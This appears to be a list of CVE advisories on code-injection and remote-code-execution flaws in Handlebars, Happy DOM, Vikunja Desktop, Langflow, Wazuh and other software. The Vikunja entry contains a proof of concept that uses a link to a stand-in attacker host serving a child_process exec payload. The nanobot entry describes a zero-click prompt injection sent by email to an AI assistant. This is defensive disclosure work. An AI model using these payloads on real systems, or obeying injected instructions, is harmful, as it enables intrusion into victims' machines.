| CVE |
Vendors |
Products |
Updated |
CVSS v3.1 |
| Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. In versions 15.10.0 through 20.8.7, a code injection vulnerability in `ECMAScriptModuleCompiler` allows an attacker to achieve Remote Code Execution (RCE) by injecting arbitrary JavaScript expressions inside `export { }` declarations in ES module scripts processed by happy-dom. The compiler directly interpolates unsanitized content into generated code as an executable expression, and the quote filter does not strip backticks, allowing template literal-based payloads to bypass sanitization. Version 20.8.8 fixes the issue. |
| Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, the Handlebars CLI precompiler (`bin/handlebars` / `lib/precompiler.js`) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser. Version 4.7.9 fixes the issue. Some workarounds are available. First, validate all CLI inputs before invoking the precompiler. Reject filenames and option values that contain characters with JavaScript string-escaping significance (`"`, `'`, `;`, etc.). Second, use a fixed, trusted namespace string passed via a configuration file rather than command-line arguments in automated pipelines. Third, run the precompiler in a sandboxed environment (container with no write access to sensitive paths) to limit the impact of successful exploitation. Fourth, audit template filenames in any repository or package that is consumed by an automated build pipeline. |
| Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, a crafted object placed in the template context can bypass all conditional guards in `resolvePartial()` and cause `invokePartial()` to return `undefined`. The Handlebars runtime then treats the unresolved partial as a source that needs to be compiled, passing the crafted object to `env.compile()`. Because the object is a valid Handlebars AST containing injected code, the generated JavaScript executes arbitrary commands on the server. The attack requires the adversary to control a value that can be returned by a dynamic partial lookup. Version 4.7.9 fixes the issue. Some workarounds are available. First, use the runtime-only build (`require('handlebars/runtime')`). Without `compile()`, the fallback compilation path in `invokePartial` is unreachable. Second, sanitize context data before rendering: Ensure no value in the context is a non-primitive object that could be passed to a dynamic partial. Third, avoid dynamic partial lookups (`{{> (lookup ...)}}`) when context data is user-controlled. |
| Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, the `@partial-block` special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites `@partial-block` with a crafted Handlebars AST, a subsequent invocation of `{{> @partial-block}}` compiles and executes that AST, enabling arbitrary JavaScript execution on the server. Version 4.7.9 fixes the issue. Some workarounds are available. First, use the runtime-only build (`require('handlebars/runtime')`). The `compile()` method is absent, eliminating the vulnerable fallback path. Second, audit registered helpers for any that write arbitrary values to context objects. Helpers should treat context data as read-only. Third, avoid registering helpers from third-party packages (such as `handlebars-helpers`) in contexts where templates or context data can be influenced by untrusted input. |
| Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, `Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to `compile()` can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server. Version 4.7.9 fixes the issue. Some workarounds are available. Validate input type before calling `Handlebars.compile()`; ensure the argument is always a `string`, never a plain object or JSON-deserialized value. Use the Handlebars runtime-only build (`handlebars/runtime`) on the server if templates are pre-compiled at build time; `compile()` will be unavailable. |
| Windmill is an open-source developer platform for internal code: APIs, background jobs, workflows and UIs. Workspace environment variable values are interpolated into JavaScript string literals without escaping single quotes in the NativeTS executor. A workspace admin who sets a custom environment variable with a value containing `'` can inject arbitrary JavaScript that executes inside every NativeTS script in that workspace. This is a code injection bug in `worker.rs`, not related to the sandbox/NSJAIL topic. Version 1.664.0 patches the issue. |
| Gematik Authenticator securely authenticates users for login to digital health applications. Versions prior to 4.16.0 are vulnerable to authentication flow hijacking, potentially allowing attackers to authenticate with the identities of victim users who click on a malicious deep link. Update Gematik Authenticator to version 4.16.0 or greater to receive a patch. There are no known workarounds. |
| Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.9.0, the Agentic Assistant feature in Langflow executes LLM-generated Python code during its validation phase. Although this phase appears intended to validate generated component code, the implementation reaches dynamic execution sinks and instantiates the generated class server-side. In deployments where an attacker can access the Agentic Assistant feature and influence the model output, this can result in arbitrary server-side Python execution. Version 1.9.0 fixes the issue. |
| Wazuh wazuh-agent and wazuh-manager versions 2.1.0 before 4.8.0 contain multiple shell injection and untrusted search path vulnerabilities that allow attackers to execute arbitrary commands through various components including logcollector configuration, maild SMTP server tags, and Kaspersky AR script parameters. Attackers can exploit these vulnerabilities by injecting malicious commands through configuration files, SMTP server settings, and custom flags to achieve remote code execution on affected systems. |
| A vulnerability was identified in code-projects Social Networking Site 1.0. The impacted element is an unknown function of the file /home.php of the component Alert Handler. The manipulation of the argument content leads to cross site scripting. Remote exploitation of the attack is possible. The exploit is publicly available and might be used. |
| A vulnerability allowing an authenticated domain user to perform remote code execution (RCE) on the Backup Server. |
| A vulnerability allowing a Backup Viewer to perform remote code execution (RCE) as the postgres user. |
| Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables `nodeIntegration` in the renderer process without `contextIsolation` or `sandbox`. This means any cross-site scripting (XSS) vulnerability in the Vikunja web frontend -- present or future -- automatically escalates to full remote code execution on the victim's machine, as injected scripts gain access to Node.js APIs. Version 2.2.0 fixes the issue. |
| Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables `nodeIntegration` in the main BrowserWindow and does not restrict same-window navigations. An attacker who can place a link in user-generated content (task descriptions, comments, project descriptions) can cause the BrowserWindow to navigate to an attacker-controlled origin, where JavaScript executes with full Node.js access, resulting in arbitrary code execution on the victim's machine. Version 2.2.0 patches the issue.
## Root cause
Two misconfigurations combine to create this vulnerability:
1. **`nodeIntegration: true`** is set in `BrowserWindow` web preferences (`desktop/main.js:14-16`), giving any page loaded in the renderer full access to Node.js APIs (`require`, `child_process`, `fs`, etc.).
2. **No `will-navigate` or `will-redirect` handler** is registered on the `webContents`. The existing `setWindowOpenHandler` (`desktop/main.js:19-23`) only intercepts `window.open()` calls (new-window requests). It does **not** intercept same-window navigations triggered by:
- `<a href="https://...">` links (without `target="_blank"`)
- `window.location` assignments
- HTTP redirects
- `<meta http-equiv="refresh">` tags
## Attack scenario
1. The attacker is a normal user on the same Vikunja instance (e.g., a member of a shared project).
2. The attacker creates or edits a project description or task description containing a standard HTML link, e.g.: `<a href="https://evil.example/exploit">Click here for the updated design spec</a>`
3. The Vikunja frontend renders this link. DOMPurify sanitization correctly allows it -- it is a legitimate anchor tag, not a script injection. Render path example: `frontend/src/views/project/ProjectInfo.vue` uses `v-html` with DOMPurify-sanitized output.
4. The victim uses Vikunja Desktop and clicks the link.
5. Because no `will-navigate` handler exists, the BrowserWindow navigates to `https://evil.example/exploit` in the same renderer process.
6. The attacker's page now executes in a context with `nodeIntegration: true` and runs: `require('child_process').exec('id > /tmp/pwned');`
7. Arbitrary commands execute as the victim's OS user.
## Impact
Full remote code execution on the victim's desktop. The attacker can read/write arbitrary files, execute arbitrary commands, install malware or backdoors, and exfiltrate credentials and sensitive data. No XSS vulnerability is required -- a normal, sanitizer-approved hyperlink is sufficient.
## Proof of concept
1. Set up a Vikunja instance with two users sharing a project.
2. As the attacker user, edit a project description to include: `<a href="https://attacker.example/poc.html">Meeting notes</a>`
3. Host poc.html with: `<script>require('child_process').exec('calc.exe')</script>`
4. As the victim, open the project in Vikunja Desktop and click the link.
5. calc.exe (or any other command) executes on the victim's machine.
## Credits
This vulnerability was found using [GitHub Security Lab Taskflows](https://github.com/GitHubSecurityLab/seclab-taskflows). |
| A vulnerability was identified in code-projects Online Food Ordering System 1.0. Affected by this vulnerability is an unknown functionality of the file /dbfood/contact.php. The manipulation of the argument Name leads to cross site scripting. It is possible to initiate the attack remotely. The exploit is publicly available and might be used. |
| PinchTab is a standalone HTTP server that gives AI agents direct control over a Chrome browser. PinchTab `v0.8.3` through `v0.8.5` allow arbitrary JavaScript execution through `POST /wait` and `POST /tabs/{id}/wait` when the request uses `fn` mode, even if `security.allowEvaluate` is disabled. `POST /evaluate` correctly enforces the `security.allowEvaluate` guard, which is disabled by default. However, in the affected releases, `POST /wait` accepted a user-controlled `fn` expression, embedded it directly into executable JavaScript, and evaluated it in the browser context without checking the same policy. This is a security-policy bypass rather than a separate authentication bypass. Exploitation still requires authenticated API access, but a caller with the server token can execute arbitrary JavaScript in a tab context even when the operator explicitly disabled JavaScript evaluation. The current worktree fixes this by applying the same policy boundary to `fn` mode in `/wait` that already exists on `/evaluate`, while preserving the non-code wait modes. As of time of publication, a patched version is not yet available. |
| nanobot is a personal AI assistant. Prior to version 0.1.6, an indirect prompt injection vulnerability exists in the email channel processing module (`nanobot/channels/email.py`), allowing a remote, unauthenticated attacker to execute arbitrary LLM instructions (and subsequently, system tools) without any interaction from the bot owner. By sending an email containing malicious prompts to the bot's monitored email address, the bot automatically polls, ingests, and processes the email content as highly trusted input, fully bypassing channel isolation and resulting in a stealthy, zero-click attack. Version 0.1.6 patches the issue. |
| BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.37, the `docker.system_packages` field in `bentofile.yaml` accepts arbitrary strings that are interpolated directly into Dockerfile `RUN` commands without sanitization. Since `system_packages` is semantically a list of OS package names (data), users do not expect values to be interpreted as shell commands. A malicious `bentofile.yaml` achieves arbitrary command execution during `bentoml containerize` / `docker build`. Version 1.4.37 fixes the issue. |
| Code injection vulnerability exists in BUFFALO Wi-Fi router products. If this vulnerability is exploited, an arbitrary code may be executed on the products. |
| langflow <=1.0.18 is vulnerable to Remote Code Execution (RCE) as any component provided the code functionality and the components run on the local machine rather than in a sandbox. |
